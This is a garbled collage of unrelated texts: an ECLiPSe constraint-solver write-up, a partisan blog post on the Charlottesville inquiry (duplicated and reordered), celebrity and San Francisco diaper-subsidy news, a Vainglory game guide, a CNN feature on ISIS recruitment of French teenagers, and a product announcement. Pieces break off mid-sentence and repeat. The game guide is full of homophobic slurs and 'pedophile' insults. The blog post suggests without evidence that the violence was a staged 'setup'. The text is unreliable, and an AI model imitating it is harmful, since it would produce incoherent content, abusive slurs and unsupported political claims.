See http://eclipseclp.org/doc/bips/kernel/control/do-2.html for more info on ECLiPSe loops.
Note that Distances initially contains not numbers, but expressions for the constraint solver, because the optimal placement of the generators in not known yet. After the search finishes, all Distances elements are instantiated to concrete real numbers.
Cost is constrained to be the sum of all the values in Distances.
The last line of the solve predicate uses bb_min from the branch and bound library to find the minimum value of the Cost that can be obtained by labeling (assigning concrete values) to the X and Y coordinated of the generators ( GenXs and GenYs ). bb_min doesn't guarantee that the value it finds is the actual minimum, but it guarantees that there doesn't exist a solution that costs delta or more less; the value of 0.1 for delta is low enough to obtain the optimal generator placement for the given problem instance.
The main predicate defines the coordinates of the houses, runs solve, and outputs the results.
Here are the last several lines of the program's output:
Found a solution with cost 36.818603706820426__36.818603706820511 Found a solution with cost 36.407112649913259__36.407112649913365 Found a solution with cost 35.62746370694807__35.627463706948156 Found no solution with cost 0.0.. 35.527463706948154 5B 4G 8F
The cost and coordinates of the generators are the same as in Isaac Slavitt's and Jean-Francois Puget's blog posts.
The program is not very efficient: the running time on my laptop is about 23 seconds. There are several ways to make it faster:That's why it is disturbing that a Democrat – a Barack Obama appointee – has been appointed to run the inquiry.
There is already plenty of evidence that the clash between violent left wingers and right wingers in Charlottesville was eminently preventable, and may even have been a setup. The media-left cabal took advantage of the violence to smear President Trump and conservatives as Nazis, so it would be awfully embarrassing if it turned out that responsibility for the violence lay with police following orders from above to "stand down" and channel the two groups into a clash. Governor Terry McAuliffe, purportedly a presidential aspirant, has a lot to answer for.
The signs are already terrible. This memo from Charlottesville's city manager fails to mention Antifa or even Terry McAuliffe.
"My fear," Heaphy said, "is that the new department is not as mindful of those resource constraints and seems to want to pursue a more ideological agenda, and I think that could be both ineffective and costly."
Even though his art affiliation is not noted in the article cited above, Heaphy endorsed Tom Perez for DNC chair and has been an enthusiastic supporter of civil asset forfeiture and claims to have been concerned over Jeff Sessions's ideology:
A statement from the city says Heaphy intends to interview agency representatives, law enforcement and government officials, and members of the community who were present for the events.
The city announced Friday that Tim Heaphy, former U.S. Attorney for the Western District of Virginia, will evaluate how the city prepared for and responded to a May torch-light rally, a KKK event in July and the Aug. 12 "Unite the Right" rally.
A former U.S. attorney will lead an independent review of Charlottesville's response to three white nationalist rallies this summer, including one earlier this month that ended with deadly violence.
There is already plenty of evidence that the clash between violent left wingers and right wingers in Charlottesville was eminently preventable, and may even have been a setup. The media-left cabal took advantage of the violence to smear President Trump and conservatives as Nazis, so it would be awfully embarrassing if it turned out that responsibility for the violence lay with police following orders from above to "stand down" and channel the two groups into a clash. Governor Terry McAuliffe, purportedly a presidential aspirant, has a lot to answer for.
That's why it is disturbing that a Democrat – a Barack Obama appointee – has been appointed to run the inquiry.
A former U.S. attorney will lead an independent review of Charlottesville's response to three white nationalist rallies this summer, including one earlier this month that ended with deadly violence. The city announced Friday that Tim Heaphy, former U.S. Attorney for the Western District of Virginia, will evaluate how the city prepared for and responded to a May torch-light rally, a KKK event in July and the Aug. 12 "Unite the Right" rally. A statement from the city says Heaphy intends to interview agency representatives, law enforcement and government officials, and members of the community who were present for the events.
Even though his art affiliation is not noted in the article cited above, Heaphy endorsed Tom Perez for DNC chair and has been an enthusiastic supporter of civil asset forfeiture and claims to have been concerned over Jeff Sessions's ideology:
"My fear," Heaphy said, "is that the new department is not as mindful of those resource constraints and seems to want to pursue a more ideological agenda, and I think that could be both ineffective and costly."
The signs are already terrible. This memo from Charlottesville's city manager fails to mention Antifa or even Terry McAuliffe.
Hat tip: Mark J. Fitzgibbons© J.J. Watt on Instagram J.J. Watt was beyond to meet his lifelong crush, Jennifer Anniston. By NESN Staff
J.J. Watt is a pretty serious dude, so you’d think most of the top goals in his life would revolve around football.
You’d be wrong.
The Houston Texans defensive end proved as much Monday, gushing via Instagram that he’d finally fulfilled one of his lifelong dreams.
We’re talking, of course, about meeting Jennifer Aniston.
"I'm not even going to try to pretend like I acted cool when this happened. #LifeMade," Watt wrote on Instagram.
Watt is 20 (!) years younger than Aniston, but that hasn’t stopped him from developing a serious crush on the famous actress.
I officially want to marry Jennifer Aniston. — JJ Watt (@JJWatt) February 15, 2011
Anybody who knows me knows my one lifetime crush has been Jennifer Aniston. Happy Birthday Jen! — JJ Watt (@JJWatt) February 12, 2014
Watt isn’t exactly alone in this opinion, but since he’s really, really good at football, he was able to make his dream come true. Well done, J.J.San Francisco has tech billionaires and Google buses, famous landmarks and crowds of European tourists. It also has an income disparity comparable to that of Rwanda. And while many low- and middle-income people have been pushed outside the city limits, the city’s poorest families often don’t have the resources to leave and remain stuck in one of America’s most expensive cities.
Now city officials are trying to address the needs of its most vulnerable by subsidizing disposable diapers and becoming the first major U.S. municipality to do so, it is believed.
San Francisco plans to spend about $479,000 annually to distribute diapers monthly to families in need. Still in its pilot phase serving 257 families with a child under the age of one, the city says that the diaper program will be operating at full capacity by Nov. 1, at which point it will serve roughly 1,300 families with children under three years old.
Sheree Guthrie is one of those receiving assistance through the scheme. The 35 year old has lived in San Francisco for 23 years and has one baby, Tristan, with another one on the way. In the past, the mother explained, she sometimes couldn’t afford to change Tristan’s soggy diaper. But she recently received her supply of diapers through the pilot program.
“They don’t really give you enough [money] here in San Francisco to pay rent and to buy food and to buy the diapers,” she said. “You’re kind of left without any options towards the end of the month. So the diapers have been a really nice option.”
The idea for subsidized diapers came from Dan Kelly, director of planning at the San Francisco Human Services Agency, after hearing an NPR story about a diaper bank in Connecticut.
Shortly afterward, he heard that the price of diapers at the corner grocery stores around public housing developments could run as high as 50 cents each. It compares unfavorably to the price of diapers at bigger retailers such as Walmart, at which they can cost as little as 17 cents. And with a newborn going through up to 12 diapers a day, the costs can rack up.
“That's the high cost of poverty,” said Kelly. “When you’re very poor, you don't get the break of shopping around and having a lot of shopping choices. You're vulnerable to being exploited. And your ability to plan and research your economic choices is really limited because you’re just trying to get through day to day.”
A single parent working full-time at the San Francisco minimum wage of $11.05 per hour with two young children will spend an estimated 8 percent of that person’s annual income, or about $1,872 year, on diapers, according to a report done for the San Francisco Human Services Agency.
Operating through the SF-HSA, the diapers are provided to families that are already receiving CalWORKs assistance — California’s welfare program. The diapers are distributed through a network of family resource centers that also provide other services to low-income families.
The diaper plan was intentionally designed to try to increase CalWORKs participation. Currently only 46 percent of eligible San Francisco families with a child under the age of three have enrolled in CalWORKs, according to a report presented to SF-HSA in May.
“It is hoped that the added incentive of free diapers might spread word of mouth about the benefits of CalWORKs. SF-HSA plans to use the diaper pick-up days as an opportunity to conduct CalWORKs outreach,” the report reads.
CalWORKs provides a single parent with two kids living in San Francisco an average of $704 a month in cash benefits.
To use the program, people present their EBT card as identification — also used for food stamps and cash assistance — and their diaper pickup is electronically recorded in a database.
It “will be the first of its kind in the country,” said Lisa Truong, founder and executive director of Help a Mother Out, the Bay Area diaper bank selected to run the city’s program. “So that's a pretty huge thing.”
Though there are hundreds of diaper banks across the country, San Francisco has developed the first city-government subsidized program of its kind in the U.S.
“That's kind of San Francisco’s role,” said Kelly. “We're always innovating and doing new things that often become standards for the national government.”
Sharon Bechtol works as the volunteer and donations coordinator at the Homeless Prenatal Program in San Francisco, one of the four family resource centers running the pilot program. She said the need for assistance has only been increasing.
“When I started six years ago, we were seeing 2,400 families. We’re now up to 4,000 families. The need just keeps growing and growing. … The funding has not kept up with the demand for services,” Bechtol said.
The Homeless Prenatal Program saw families having to choose between buying diapers or buying food. If children are kept in soiled diapers for too long, they can develop rashes and infections.
Carrie Hamilton, a case manager at the Home |
HER FLOWERS
Spoiler: Click to view Spoiler: Click to view NOT COOL. HER SLOW IS GENERALLY UNAVOIDABLE, BUT WHAT REALLY GRINDS YOUR GEARS IS HER ULT. IT ****ING HURTS. SILENCE HER SO SHE CAN'T USE IT FIRST, BUT SAVE YOUR STUN SO YOU CAN CANCEL IT. IF SHE'S SMART SHE'LL USE REFLEX BLOCK. IN THAT CASE USE WARHORN TO EVACUATE YOUR TEAMMATES FROM THIS *****, AND USE STORMGUARD TO REFLECT THE DAMAGE
Spoiler: Click to view Spoiler: Click to view NOT COOL EITHER. HIS BURN GOES UNDER YOUR STORMGUARD AND HIS ABILITIES HURT SO ******* BAD. HIS PEAK IS LATE GAME SO GANK HIM A LOT. WHEN CHANNELING HIS ULTI, STUN HIM OR USE WARHORN TO GET AWAY IF HE USED REFLEX BLOCK. LUCKILY FOR YOU HE'S REALLY DAMN SQUISHY. FOCUS HIM FIRST UNLESS THERE'S ANOTHER CARRY WHO'S MORE FED
Spoiler: Click to view Spoiler: Click to view THE BLEED IS TROUBLESOME, AND SO IS THE MORTAL WOUND. THE PACK WILL REVEAL YOUR GANKS. HE WILL CONSTANTLY INVADE THANKS TO HIS EARLY GAME PROWESS, BUT REMEMBER: HE IS MORE OF AN INITIATOR THAN A SUPPORT. HE CANNOT SAVE HIS ALLIES EARLY GAME FROM CERTAIN DEATH UNLESS HE'S LIKE A ****ING GOD OR SOMETHING (WHICH WON'T HAPPEN). STUN HIM IN EARLY GAME AND FOCUS ON THE CARRY. ADDITIONALLY IF YOUR LANER IS MAP AWARE AND COMES DOWN TO HELP, YOU'VE SEALED THIS DOG'S FATE. LATE GAME JUST DON'T GIVE A **** ABOUT HIM AND GO ON THE CARRIES. HE DOESN'T HAVE A STUN ANYWAY.
Spoiler: Click to view Spoiler: Click to view WHEN YOU PLAY AGAINST SKYE, PRAY THAT THE DUDE WAS THINKING 'lol mecha b00bs' WHEN HE BOUGHT HER. IF SO HE'S GOING TO GET REKT. IF IT'S A KOREAN HOWEVER YOU CARRIES ARE ****ED. THE DAMAGE IS ****ING INSANE. BLOCK HER BARRAGE FOR YOUR TEAM AT ALL TIMES, AND CRUCIBLE HER ULT. LUCKILY FOR YOU YOUR STUN AND SILENCE TURNS HER INTO ABSOLUTE ****, MAKE USE OF THAT AND GANK HER A LOT.
Spoiler: Click to view Spoiler: Click to view USE FOUNTAIN + WARHORN AGAINST HIM WHEN YOUR ALLY IS SNAGGED, FOR ONE. ADDITIONALLY THIS GUY IS A STATIONARY ASSASSIN. HE WILL HIDE IN BUSHES LIKE A CREEPY PEDO AND HOOK YOUR CARRY BACK. MAKE SURE YOU USE FLARES AND HAVE ADEQUATE VISION AGAINST HIM. JUST NEVER TRY TO STUN HIM IN TEAMFIGHTS, PLS
Spoiler: Click to view Spoiler: Click to view FROM WHAT I KNOW THIS PRINCESS PEDOPHILE'S ULT IS DEVASTATING BECAUSE HE GAINS 300 SHIELD AND ARMOR DURING THE PROCESS AND IS UNABLE TO BE DISABLED MAKING YOUR TEAM'S ATTACKS SEEM LIKE POTATO SHOTS. HE IS VERY RELIANT ON HIS ABILITIES; SILENCE HIM, BURST HIM DOWN, AND CALL THE COPS TO ARREST THIS CHILD PREDATOR. GANK HIM IN THE LANE A ****TON, HE HAS A ****TY EARLY GAME. ALSO SUPPORT BF IS ACTUALLY REALLY ****ING OP, LIKE GLAIVE ALL YOUR CLUELESS CARRIES THINK HE'S ONE OF THOSE IMBECILE CRYSTAL BLACKFEATHERS, THEY ALL CONCENTRATE HIM AND ****ING CELESTE GIVES YOU A LOBOTOMY. DON'T FALL FOR THAT ********
Spoiler: Click to view Spoiler: Click to view WELL **** IT'S THAT ARCHER ***** WHO HAS PERMA INVISIBILITY IF SHE GOES CP AND CRAZY SUSTAIN DAMAGE WHEN GOING WP. VERY TROUBLESOME MATCHUP. BASICALLY YOU WANT TO HAVE VISION ALL OVER THE PLACE SO SHE CAN'T ADVANCE FROM A TACTICAL LOCATION TO SNIPE YOU GUYS. ALWAYS BODY BLOCK HER ULT IF YOU CAN. YOU MAY WANT TO PICK UP AN AFTERSHOCK FOR SOME ADDITIONAL BURST. AND DON'T FORGET TO GANK HER EARLY. ATLAS IS RECOMMENDED AGAINST WP KESTREL SINCE HER PERK GIVES HER ATTACK SPEED LIKE SHE'S SAW. SILENCE TO PREVENT HER FROM USING HER ULT
Spoiler: Click to view Spoiler: Click to view ****ING OLD MEN WITH GIANT BEARDS THAT CASTRATE LEOPARDS? NO THANKS. HIS POKE IS ENORMOUS AND HIS DAMAGE OUTPUT CAN BE CANCEROUS. AVOID NARROW CHOKEPOINTS WHERE HE CAN HIT YOU GUYS WITH HIS ABILITIES AND ROOT YOU. YOU WILL WANT TO GET CRUCIBLE TO BLOCK HIS ULT. DON'T FORGET TO SILENCE HIM, **** THOSE ICE MISSILES.
Spoiler: Click to view Spoiler: Click to view DAMN THIS MONKEY IS SLIPPERY AS ****. BUT WHAT DOES HE NEED TO BE ALL SLIPPERY AND MORE LUBED UP LIKE THAT GIANT *** RING HE HAS? THAT'S RIGHT, ABILITIES, AND WHAT DO YOU HAVE? A SILENCE. SO SILENCE HIS BABOON *** AND BEAT HIM DOWN HARD. IF HE'S GOING FULL-*** SKILLEX BANGARANG YOU MAY WANT TO ATTEMPT TO STUN HIM
Spoiler: Click to view Spoiler: Click to view STANDARD CLICHE "USED TO BE YOUR ALLY" ********. WHEN THIS MICHEAL BAY ***** CHARGES IN LIKE AN IDIOT STUN HER AND BEAT THE **** OUT OF HER WITH YOUR TEAM. SILENCE HER SO SHE CAN'T USE HER ULT AND IF SHE DOES USE WARHORN TO EVACUATE YOUR TEAM. ALSO DON'T BE AFRAID OF TAKING HER DOWN WHEN SHE'S REVIVING, IT MAKES NO ****ING SENSE, SHE HAS LIKE 1500 HEALTH. IT'S SO EASY TO KILL HER
Spoiler: Click to view Spoiler: Click to view LOL, THIS GUY. TOSS HIM BACK TO GYTHIA OR WHEREVER THE **** HE CAME FROM BY SILENCING HIM. BECAUSE HIS LONG *** POLE IS NOT COOL FOR YOUR TEAM AND WILL PISS THE **** OUT OF EVERYONE. SILENCE AND USE THOSE 3.5 SECONDS TO TAKE HIS CARRIES DOWN ASAP. FINISH HIM ONLY WHEN ALL OTHER ENEMY CARRIES ARE DOWN UNLESS YOU WANT HIM TO SHRUG OFF ALL THE **** YOU THROW AT HIM LIKE IT'S NOTHING.
Spoiler: Click to view Spoiler: Click to view UGHHHH THIS WOMAN. FIRST ASCERTAIN HER ROLE? IS SHE THERE TO LAUNCH FLYING MISSILES OF CANCER AT YOUR TEAM? OR IS SHE THERE TO HELP HER WEAK-*** ALLIES LIKE YOU? FOR THE FORMER, SILENCE AND STUN AND BEAT THE **** OUT OF HER IMMEDIATELY. FOR THE LATTER, YOU NEED TO BE MORE CAREFUL. MAKE SURE YOU SILENCE HER, BUT IN THAT SHORT PERIOD OF TIME YOU MUST TAKE CARE OF HER CARRIES SOMEHOW. IF YOU ARE UNLUCKY AS **** AND THE SILENCE WEARS OFF, PREPARE CRUCIBLE BECAUSE SHE IS GOING TO DO SOME ******ED BLACK MAGIC TO MAKE YOUR ALLIES SUFFER.
Spoiler: Click to view Spoiler: Click to view CREEPY GOTH *****TAIN. FIRST ABILITY ARE MISSILES, SECOND IS A FIELD OF ABSOLUTE CANCER AND HIS ULTIMATE IS GAY AS HELL. ALL OF THEM CAN SCREW YOUR TEAM. SO WHAT DO YOU DO? YOU SILENCE HIM, YOU USE YOUR SHIELD, AND YOU POP HIM LIKE A CHERRY BECAUSE HE'S SO DAMN SQUISHY. ALL SITUATIONS IN THIS SECTION ARE MEANT TO BE TEAMFIGHTS; THAT SHOULD BE THE ONLY BATTLE YOU'RE FIGHTINGIT IS ALSO ASSUMED THAT YOU ARE FIGHTING PLAYERS OF HIGH ABILITY AND A WORST-CASE SCENARIO WHEN YOU FACE THEM. DON'T TAKE EVERYTHING HERE WORD-FOR-WORD, EVEN IF THEY PICK A HERO WHICH I SAID IS DANGEROUS BUT IS FEEDING HARDER THAN AN ALASKAN 5-STAR BUFFET, THEY SUCK AND YOU DON'T HAVE TO **** YOUR PANTS WHEN YOU SEE THEM.
FAGS WHO WILL BE ON YOUR TEAM Top
I WAS JUST KIDDING. IF YOU DO THAT I WILL FIND YOU AND I WILL REPORT YOU TO HELL./color] WHY DOES THIS SECTION EVEN ****ING EXIST? YOU HAVE THE SAME JOB NO MATTER WHAT HERO IT IS: STUN, TANK, HEAL UTILITY, WHATEVER THE **** YOU NEED TO DO. UNLESS YOUR TEAM IS GOING FULL SUPPORT FOR A YOUTUBE VIDEO - IN THAT CASE BUILD 6 SERPENT MASKS. MOTHER OF GOD IT REALLY WORKS
EARLY GAME INVADES Top
IF YOUR TEAM GOES FOR AN INVADE BE SURE TO HELP THEM TANK. USE YOUR STUN AS PER NORMAL TO SECURE KILLS. THERE'S NO ONE ELSE WHO CAN SO EASILY STUN THOSE **********ERS IN THE EARLY GAME.
SOME HEROES CAN **** UP GAMES EARLY ON THANKS TO THEIR STRENGTH EARLY ON, ALSO KNOWN AS "EARLY GAME HEROES". IF TWO OR MORE SUCH HEROES ARE PUT TOGETHER, PREPARE FOR THE WORST. USE YOUR FLARE AND SEE IF THEY'RE CROSSING THEIR TRIBUSH. IF THEY ARE IMMEDIATELY PING YOUR LANER TO HELP. IF HE DOESN'T AND YOU GUYS DIE, TRY TO TAKE THEIR FIRST TOWER LATER ON. IF THAT FAILS TOO, THEY'RE GOING TO SNOWBALL. READ ON BELOW TO FIND OUT HOW TO DEAL WITH THAT
THESE ARE THE EARLY-GAME HEROES:
BASICALLY, THERE ARE A FEW GROUND RULES WHEN INVADING:
-YOUR TEAM HAS AN ITEM LEAD
-YOUR TEAM HAS A LEVEL LEAD
-YOUR TEAM HAS THOSE EARLY GAME HEROES
NOTE: ESPECIALLY SKAARF AND RONA - THESE TWO HEROES CAN REALLY **** YOUR EARLY GAME. IF THEY'RE MATCHED WITH FORTRESS PRAY THEY DON'T INVADE
ANOTHER NOTE: WITH THE STATE OF THE GAME RIGHT NOW IT MIGHT NOT BE WISE TO INVADE FROM THE START. TRY CLEARING JUNGLE ONCE, GANKING, THEN INVADING AS 3. EVEN IF THE GANK DOESN'T WORK YOU SHOULD'VE CREATED SOME DELICIOUS SPACE FOR YOU GUYS TO **** THEIR JUNGLE OVER. THESE ARE NOT COMMON AT LOWER TIERS BUT AT HIGHER SKILL LEVELS THIS CAN DECIDE THE FATE OF A GAME IN A MERE ****ING MINUTE. THE LAST TIME THIS HAPPENED WAS HIROSHIMA AND NAGASAKI, SO UNDERSTAND HOW DEVASTATING THEY ARE. IF YOU WIN AN INVADE IMMEDIATELY START CLEARING THEIR JUNGLE AND MOST IMPORTANTLY PLACING SCOUT TRAPS. I DON'T GIVE A **** HOW BADLY YOU NEED LIFESPRING, DO IT. BY SECURING VISION OF THE ENEMY'S JUNGLE YOU HAVE SEALED THEIR FATE.IF YOUR TEAM GOES FOR AN INVADE BE SURE TO HELP THEM TANK. USE YOUR STUN AS PER NORMAL TO SECURE KILLS. THERE'S NO ONE ELSE WHO CAN SO EASILY STUN THOSE **********ERS IN THE EARLY GAME.SOME HEROES CAN **** UP GAMES EARLY ON THANKS TO THEIR STRENGTH EARLY ON, ALSO KNOWN AS "EARLY GAME HEROES". IF TWO OR MORE SUCH HEROES ARE PUT TOGETHER, PREPARE FOR THE WORST. USE YOUR FLARE AND SEE IF THEY'RE CROSSING THEIR TRIBUSH. IF THEY ARE IMMEDIATELY PING YOUR LANER TO HELP. IF HE DOESN'T AND YOU GUYS DIE, TRY TO TAKE THEIR FIRST TOWER LATER ON. IF THAT FAILS TOO, THEY'RE GOING TO SNOWBALL. READ ON BELOW TO FIND OUT HOW TO DEAL WITH THATTHESE ARE THE EARLY-GAME HEROES:BASICALLY, THERE ARE A FEW GROUND RULES WHEN INVADING:-YOUR TEAM HAS AN ITEM LEAD-YOUR TEAM HAS A LEVEL LEAD-YOUR TEAM HAS THOSE EARLY GAME HEROESNOTE: ESPECIALLY SKAARF AND RONA - THESE TWO HEROES CAN REALLY **** YOUR EARLY GAME. IF THEY'RE MATCHED WITH FORTRESS PRAY THEY DON'T INVADEANOTHER NOTE: WITH THE STATE OF THE GAME RIGHT NOW IT MIGHT NOT BE WISE TO INVADE FROM THE START. TRY CLEARING JUNGLE ONCE, GANKING, THEN INVADING AS 3. EVEN IF THE GANK DOESN'T WORK YOU SHOULD'VE CREATED SOME DELICIOUS SPACE FOR YOU GUYS TO **** THEIR JUNGLE OVER.
HOW TO RECOVER FROM SNOWBALLS Top
THERE'S AN EASY FIX FOR THIS: YOU NEED VISION AND NOT-SO-DUMB ALLIES. BASICALLY, NEVER FIGHT WITH THEM. PASSIVELY FARM UNTIL YOU AMASS GOLD. PLACE LOTS OF SCOUT TRAPS, BE CAREFUL OF EVERY SINGLE BRUSH EVEN IF IT SEEMS SAFE, YOU NEVER KNOW WHEN A PONYTAIL-WEARING PEDOPHILE STARTS SCATTERING ROSES AROUND.
PING THE **** OUT OF YOR ALLIES TO STAND NEAR THE TOWER WHEN LANING AND SPAM THOSE CAUTION PINGS TILL THE PLACE LOOKS LIKE A ****ING CONSTRUCTION SITE WHEN YOU SEE AN ENEMY.
GET FOUNTAIN ASAP SO YOU CAN FIGHT, DON'T THINK ABOUT WARHORN. SOMETIMES YOU GET INVADED SO HARD THEIR SUPPORT HAS LIKE 10 KILLS IN 5 MINUTES. BY THIS TIME THEY SHOULD BE SNOWBALLING UNCONTROLLABLY AND WRECKING YOU WHEREVER YOU GO.THERE'S AN EASY FIX FOR THIS: YOU NEED VISION AND NOT-SO-DUMB ALLIES. BASICALLY, NEVER FIGHT WITH THEM. PASSIVELY FARM UNTIL YOU AMASS GOLD. PLACE LOTS OF SCOUT TRAPS, BE CAREFUL OF EVERY SINGLE BRUSH EVEN IF IT SEEMS SAFE, YOU NEVER KNOW WHEN A PONYTAIL-WEARING PEDOPHILE STARTS SCATTERING ROSES AROUND.PING THE **** OUT OF YOR ALLIES TO STAND NEAR THE TOWER WHEN LANING AND SPAM THOSE CAUTION PINGS TILL THE PLACE LOOKS LIKE A ****ING CONSTRUCTION SITE WHEN YOU SEE AN ENEMY.GET FOUNTAIN ASAP SO YOU CAN FIGHT, DON'T THINK ABOUT WARHORN.
NO TENSION BOW, REPORT Top
SO WHY IS TENSION BOW THE BIGGEST PIECE OF **** TO EVER BEFALL CATHERINE PLAYERS? I SEE WAY TOO MANY ******S RUSHING TB, TRYING TO ACT LIKE A BALLER AND GETTING ****ED STRAIGHT UP THE *** THAT I DEDICATED ONE WHOLE CHAPTER TO THIS
LET'S COMPARE TB TO AFTERSHOCK, THE OTHER BURST DAMAGE ITEM WE CAN GO FOR.
IS TB'S PIERCE SHARED? NO
IS THE BURST BASED ON MAX HEALTH? NO
DOES IT GIVE YOU LIFESTEAL OFF THE BURST? NO
IS IT REFRESHED EVERY 2 SECONDS? NO
DOES IT GIVE YOU CD ACCELERATION/ENERGY RECHARGE? HELL ****ING NO
THERE YOU GO. IF I EVER CATCH ANYONE RUSHING TB ON CATH I WILL MAKE SURE YOU GET TB (TUBERCULOSIS. DUH) VS SO WHY IS TENSION BOW THE BIGGEST PIECE OF **** TO EVER BEFALL CATHERINE PLAYERS? I SEE WAY TOO MANY ******S RUSHING TB, TRYING TO ACT LIKE A BALLER AND GETTING ****ED STRAIGHT UP THE *** THAT I DEDICATED ONE WHOLE CHAPTER TO THISLET'S COMPARE TB TO AFTERSHOCK, THE OTHER BURST DAMAGE ITEM WE CAN GO FOR.IS TB'S PIERCE SHARED?IS THE BURST BASED ON MAX HEALTH?DOES IT GIVE YOU LIFESTEAL OFF THE BURST?IS IT REFRESHED EVERY 2 SECONDS?DOES IT GIVE YOU CD ACCELERATION/ENERGY RECHARGE?THERE YOU GO. IF I EVER CATCH ANYONE RUSHING TB ON CATH I WILL MAKE SURE YOU GET TB (TUBERCULOSIS. DUH)
FAQ (FUCK) TopParis (CNN) Most 15-year-old French girls spend their time on social media chatting with friends about schoolmates, music and movies. But Joanna was different.
While her contemporaries "liked" one another's posts on Facebook and Instagram, or nattered on Snapchat and WhatsApp, Joanna was using the Internet to track down a fake passport and find her way to Syria.
In the process, she also found herself in contact with one of the women directly involved in the Paris attacks.
"I was trying to get a passport to leave for Syria. I had names and contacts, and this woman spoke to me on social media; she wanted to go to Syria with someone, she didn't want to go alone.
"She was also trying to control everything I was doing," says the 15-year-old, from the outskirts of Paris.
Like many in France, Joanna (not her real name) was brought up as a Catholic. But in her teens, she decided to convert to Islam.
A naturally bright, curious child, Joanna was a fast learner, according to her mother, Jeanne (not her real name), and deeply interested in religion from a young age.
JUST WATCHED Imam working to keep children from radicalization Replay More Videos... MUST WATCH Imam working to keep children from radicalization 02:52
"As a baby she was the first one to learn how to speak, to learn her colors. She was very active, and got bored very quickly," she remembers. "When she was six or seven she was very curious about religion, and decided she wanted to work in a church."
But as she grew older, Joanna says her religious fervor took her in a different direction.
"I was very into Christianity [but] at some point Christianity didn't bring me what I wanted; it didn't answer some of my questions, and I didn't like the traditions, so I got into Islam instead."
She says her conversion meant that she "became another person."
"I had a lot of Muslim friends, I read the Quran - when I read one page I wanted to read another and another; this religion seemed to coincide with what I wanted."
Islam 'a passion'
And she says her experience of Islam, as a convert, was very different to that of those who are born into the religion.
"People who grow up in a Muslim environment, they don't live it like a passion, but for me, it's something I love... a passion. I can't live without it."
That obsession meant she was easy prey for those looking to radicalize and recruit Muslims to terror groups like ISIS.
JUST WATCHED Are female jihadis a growing threat? Replay More Videos... MUST WATCH Are female jihadis a growing threat? 02:32
"I received loads of messages from them, I was constantly in touch with them... They made sense of my life, made me think I had an important role on Earth. I really felt like I was loved, even more than by my own family."
Joanna's growing isolation from her family, who, as non-Muslims, found it hard to understand her decision to convert, meant the recruiters were able to manipulate her.
"They are sneaky because they know exactly how your family is going to react to the situation," she says. "When you are not from a Muslim family, they know that your parents won't accept the hijab, or halal food, they know that [your parents] are going to forbid you from going to the mosque.
"They know all of this and they tell you that your family will reject you, that they will stop loving you; they say that the only ones who love you are your brothers and sisters in Islam. Then, when things deteriorate with your family, you turn to them instead."
Teenage rebellion
At first, her mother wrote off Joanna's obsession with Islam as some sort of teenage rebellion.
"She was avoiding any discussion," Jeanne explains. "A lot of people tell you it's just teenage years, but it's not just that -- it's different with radicalization."
She says she finally realized that something was seriously wrong when Joanna called her an "infidel." That's when she called a national helpline.
"It was awful. I felt really bad, so guilty - as a mother, our first reaction is guilt," she explains. "We try to find the reasons why our child suddenly changed, we think of what we could have done to prevent this from happening.
JUST WATCHED Why are young jihadists joining ISIS? Replay More Videos... MUST WATCH Why are young jihadists joining ISIS? 03:37
"What should I have done? I smoke, so I thought maybe I shouldn't have smoked? Maybe I wasn't religious enough? I felt my daughter didn't love me anymore, that she was rejecting me."
Thanks to her mother's intervention, Joanna is now one of the youngest participants in France's program (Centre de Prévention contre les Dérives Sectaires liées à l'islam, translated as Prevention Center against Sectarianism related to Islam) to bring Muslims back from the brink of radicalization.
Her counselor, Laura Bouzar, says it is no easy task: "It's really hard to make them doubt." She says the key is to encourage them to think for themselves rather than accept the militants' propaganda.
"They think they know the truth... [That] ISIS is good, we are bad. We are here to make them doubt. We are here to make them think for themselves, to ask tough questions. And to stop thinking ISIS is right," she says.
Along with taking part in regular counseling sessions, Joanna must report to the police every day, but the teenager still fears that she will return to her old habits and relationships, which has made her extremely wary.
"I took the decision not to get a new phone; it's better this way. Without a phone and internet, there's no one to tell me what to do anymore, and for now, I don't feel like going back on social media.
"I'm afraid that one day I'll feel lonely and I'll fall into the trap again."
Dangerous path
Nowadays she is keen to distinguish between Islam and ISIS; with support and counseling from Bouzar, she has broken away from the latter, but is still devoted to the former.
"I am not talking about Daesh - it's a sect, it has nothing to do with Islam; these days I am learning how to like Islamic traditions and the good things about Islam."
JUST WATCHED ISIS member recruits undercover journalist as jihadi wife Replay More Videos... MUST WATCH ISIS member recruits undercover journalist as jihadi wife 03:32
But she says she worries for others like her whose curiosity or vulnerability could lead them down a dangerous path.
"Any person who is not at ease with themselves can be trapped," she says. "They [the recruiters] always know the right words to use; they aren't dumb, they're smart. It's manipulation, and unfortunately I got trapped."
Joanna's message to those, like her, at risk of being targeted by ISIS is to stay alert.
"You should always be careful on the Internet. Don't even go there, don't speak with them, don't take any risk. [And] for those who are already radicalized, please open your eyes to reality. Don't go to Syria: it's suicide, it's death."
A kind of hell
Joanna was lucky enough to get out before she found herself inside ISIS territory; fellow Muslim Hanane was not so fortunate.
Lured to Syria by ISIS propaganda that promised "a paradise" without racism or greed, guided purely by the principles of Islam, instead she found herself in a kind of hell.
When Hanane (not her real name) refused to marry an ISIS fighter, she says she was imprisoned, beaten and accused of being a spy; the friends who had been like "sisters" turned against her.
"I didn't understand," she recalls. "These girls... said they loved me, they said I was smart and important to them; they invited me to their house, we ate together, we were doing everything together.
"I never did anything wrong to them, but they wanted me dead because I refused to get married."
An ISIS court ruled there were not enough witnesses to convict her, she says, and after several weeks in detention she managed to convince her jailer to let her go, and made a dash for the border.
But her ordeal did not end when she returned home to France; there too, she says, she was considered an enemy.
Human chain
"When I got back to France I was considered as a girl who tortured people, like a monster who came back pretending to be a victim. I didn't hurt anybody there," Hanane insists. "The only person I hurt was myself."
JUST WATCHED ISIS twins: From schoolgirls to jihadi widows Replay More Videos... MUST WATCH ISIS twins: From schoolgirls to jihadi widows 02:37
Now under police observation, she agreed to speak to CNN on condition we did not identify her.
Like Joanna, Hanane is now part of the deradicalization program (CPDSI) run by Dounia Bouzar (Laura Bouzar's mother), but she too is finding it tough to adjust to "normal" life, away from the ISIS recruiters.
"I don't have my group anymore. I don't have my shield," she tells Dounia, admitting she feels vulnerable, and nostalgic for the community she was once part of.
But Dounia Bouzar insists that there is light at the end of the tunnel for those brave enough to break away, to resist the lure of the recruiters: "What doesn't kill you makes you stronger. There is a future."
"I tell parents that their children are going to make their way through this difficult moment: 'Your child will save others.' I'm sure that their experience will help France in the fight against terror," she says.
"We are [part of] a human chain, and we become a wave, crashing against these ISIS words: 'We will win, because we love death more than you love life.' [But] WE will win, because life is stronger than death."By Adam Grossman on March 25, 2013.
We’re extremely excited to announce the launch of Forecast, a new global weather service.
